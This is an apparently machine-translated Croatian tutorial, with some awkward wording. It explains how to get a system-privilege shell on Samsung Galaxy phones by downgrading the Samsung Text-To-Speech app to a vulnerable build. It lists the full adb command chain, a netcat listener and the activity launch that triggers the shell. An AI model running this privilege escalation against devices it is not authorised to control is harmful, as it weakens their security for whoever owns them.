Brze veze
- Preduvjeti
- Kako iskoristiti bilo koji Samsung Galaxy uređaj za pristup ljusci sustava
- Verifikacija
- Zaključak
Svakog prvog ponedjeljka u mjesecu Google objavljuje Androidov sigurnosni bilten. Otkriva sve ublažene sigurnosne propuste u različitim komponentama OS-a Android kao kao i jezgru Linuxa i njihove zakrpe koje je sam Google ili druge treće strane dostavio tome datum. Veliki proizvođači originalne opreme poput Samsunga imaju vlastito mišljenje o Androidu, pa se odlučuju ubaciti i vlastite zakrpe i ažuriranja u sigurnosna ažuriranja.
Uz to rečeno, prilično je teško riješiti svaku rupu u zakonu. Postoji mnoštvo vektora napada, a ponekad na temelju njih možete izraditi vlastiti lanac iskorištavanja prethodno poznatu ranjivost samo zato što imate novu metodu za zaobilaženje jedne od zaštitne mjere. To je upravo ono što XDA Senior Member K0mraid3 učinio s četiri godine starom ranjivošću, koja mu je omogućila da dobije pristup ljusci sustava na svakom Samsung Galaxy uređaju - uključujući najnovije vrhunske - vani. Iako nije isto što i
ima root privilegije, to je dovoljno visoka lokalna eskalacija privilegija.Primarna ulazna točka ranjivosti nalazi se unutar Samsung Text-To-Speech (naziv paketa: com.samsung. SMT), unaprijed učitanu aplikaciju sustava koja se može pronaći na svakom Samsung Galaxy uređaju. Ideja je vratiti instaliranu verziju aplikacije na određenu ranjivu verziju (v3.0.02.2 da budemo precizni), a zatim ga prisiliti da učita biblioteku, koja zauzvrat otvara ljusku sa sistemskim privilegijama (UID 1000).
Ako želite saznati više o eksploataciji, svakako provjerite Objašnjavač Adama Conwaya, glavnog tehničkog urednika XDA. Razgovarao je s K0mraidom3 kako bi shvatio puni opseg ovog exploita i kako funkcionira.
- Da ponovimo, ovo nije root (UID 0) pristup, ali je pristup ljusci sustava dovoljno moćan da izvrši hrpu inače ograničenih binarnih datoteka.
- K0mraid3 dokaz koncepta zahtijeva pomoćni APK i morate ga pokrenuti barem jednom prije pokretanja lanca iskorištavanja.
- Jedno korisničko sučelje, tj. ugrađene rutine za uštedu energije Samsungove prilagođene Android maske mogu biti problematične jer mogu ometati komunikaciju između TTS aplikacije, pomoćnog APK-a i ljuske. Stoga predlažemo da prethodno postavite profil za uštedu energije na "Neograničeno" za aplikacije.
Preduvjeti
- Preuzmite unaprijed kompiliranu verziju eksploatacije s XDA forumska nit ili službeni GitHub repozitorij s vezom u nastavku: Iskorištavanje ljuske sustava K0mraid3s
- Raspakujte negdje arhivu i trebali biste pronaći ranjivu verziju Samsung Text-To-Speech APK-a (samsungTTSVULN2.apk), pomoćnu aplikaciju (Komraid3s_POC_Vx.x.apk) i Windows izvršnu datoteku pod nazivom systemshell-vx.x.exe.
- Provjerite je li najnovija verzija ADB je instaliran na vaš PC/Mac/Chromebook. Također, ne zaboravite instalirajte/ažurirajte Samsung USB upravljačke programe ako ste korisnik Windowsa.
Kako iskoristiti bilo koji Samsung Galaxy uređaj za pristup ljusci sustava
Ručna metoda
- Povežite ciljani Galaxy uređaj s računalom s uključenim USB debuggingom, provjerite može li ga otkriti ADB, zatim instalirajte pomoćnu aplikaciju.
adb install Komraid3s_POC_Vx.x.apk
- Kao što je ranije spomenuto, otvorite pomoćnu aplikaciju barem jednom prije nastavka na sljedeći korak.
- Sada gurnite ranjivu verziju aplikacije Samsung TTS u /data/local/tmp i promijenite joj dozvole:
adb push samsungTTSVULN2.apk /data/local/tmp
adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
- Ponovno pokrenite uređaj. Čim se nađete na početnom zaslonu, pokrenite sljedeću naredbu kako biste već instaliranu verziju aplikacije Samsung TTS zamijenili ranjivom:
adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
- Ako sve ide kako treba, trebali biste vidjeti poruku "Uspjeh" na konzoli.
- Otvorite ljusku na ciljnom uređaju otvaranjem drugog prozora terminala i izvođenjem adb ljuska, zatim izvršite Netcat binarnu datoteku i osluškujte dolaznu vezu na portu 9997 sljedećom naredbom:
adb shell nc -lp 9997
- U ovoj fazi moramo izvršiti određenu aktivnost aplikacije Samsung TTS, koja će nam otvoriti ljusku sustava.
- Koristite aplikaciju treće strane poput ovaj za stvaranje prečaca za “com.samsung. SMT/.gui. DownloadList” aktivnost.
- Također možete koristiti Androidov vlastiti upravitelj aktivnosti (am) da učinite isto. U tom slučaju, možete ga izvršiti putem ADB-a (adb shell am start -n com.samsung. SMT/.gui. DownloadList) ili upotrijebite aplikaciju emulatora terminala na svom telefonu/tabletu kao što je Termux i pokrenite sljedeću naredbu:
am start -n com.samsung.SMT/.gui.DownloadList
- Vratite se na prvu ljusku i trebali biste vidjeti novi upit s privilegijom sustava (UID 1000).
Automatizirana metoda
Kako bi olakšao stvari, K0mraid3 također nudi GUI aplikaciju jednostavnu za korištenje za automatizaciju većine zadataka. Imajte na umu da je GUI aplikacija samo za Windows, pa ako ste korisnik Linuxa/macOS-a, bolje je držati se ručne metode.
- Povežite ciljani Galaxy uređaj s računalom s uključenim USB otklanjanjem pogrešaka, provjerite može li ga otkriti ADB, zatim instalirajte pomoćnu aplikaciju.
adb install Komraid3s_POC_Vx.x.apk
- Kao što je ranije spomenuto, otvorite pomoćnu aplikaciju barem jednom prije nastavka na sljedeći korak.
- Dok ADB može otkriti ciljni uređaj, pokrenite systemshell-vx.x.exe na glavnom računalu.
- Kliknite na gumb "POČNI LJUSKU". Aplikacija će automatski vratiti Samsung TTS aplikaciju na stariju verziju i pokušati otvoriti ljusku sustava.
- Na svom telefonu/tabletu možda ćete vidjeti aplikaciju TTS koja od vas traži da preuzmete neke glasovne podatke. Nema potrebe za interakcijom s tim opcijama jer one nemaju nikakve veze s iskorištavanjem.
- U slučaju da aplikacija zastane ili ne uspije otvoriti prozor ljuske nakon nekog vremena, zatvorite ga, ponovno pokrenite ciljni Galaxy uređaj i počnite ispočetka.
- Aplikacija Galaxy Store može automatski ažurirati i/ili poništiti profil za uštedu energije TTS aplikacije u pozadini, stoga provjerite prije nego započnete proces ispočetka.
Verifikacija
Nakon što dobijete pristup ljusci, možete provjeriti razinu privilegija pomoću jedne od naredbi u nastavku:
-
whoami
- Izlaz bi trebao biti "sustav"
-
id -u
- Izlaz bi trebao biti "1000"
Zaključak
Tipičan način za postizanje root pristupa na Android uređaju je prvo otključavanje pokretačkog programa, koji vam omogućuje pokretanje binarnih datoteka treće strane. Budući da se Androidov sigurnosni model u osnovi raspada s rootom, ovaj korak namjerno onemogućuje jednu od ključnih sigurnosnih značajki na uređaju, koja je razlog zašto korisnik mora izričito dopustiti da se to dogodi tako što obično omogući prekidač u opcijama za razvojne programere i zatim izda naredbu za otključavanje bootloader. Nakon što se bootloader otključa, korisnik može uvesti binarnu datoteku superkorisnika u sustav i također aplikaciju za upravljanje superkorisnika (poput Magiska) za kontrolu koji procesi imaju pristup rootu.
S gore spomenutim iskorištavanjem ljuske sustava, međutim, korisnik ne mora otključati bootloader da bi dobio eskalirane privilegije. Iako je daleko od toga da je root, korisnik "sustava" je dovoljno sposoban da pristupi određenom broju particija niske razine (kao kao /efs), pokrenite razne servisne alate i alate za otklanjanje pogrešaka te promijenite mnoge zaštićene vrijednosti proporcija — sve čak i bez okidanja Knox. Ovi primjeri dotiču se samo nekoliko načina; zlonamjerni akter može ovo kombinirati s drugim ranjivostima i osmisliti zlobnije radnje.
Morat ćemo pričekati i vidjeti kako će Google i Samsung riješiti ovaj scenarij. U svakom slučaju, vjerojatno biste trebali onemogućiti ili ukloniti Samsung Text-To-Speech aplikaciju za neko vrijeme.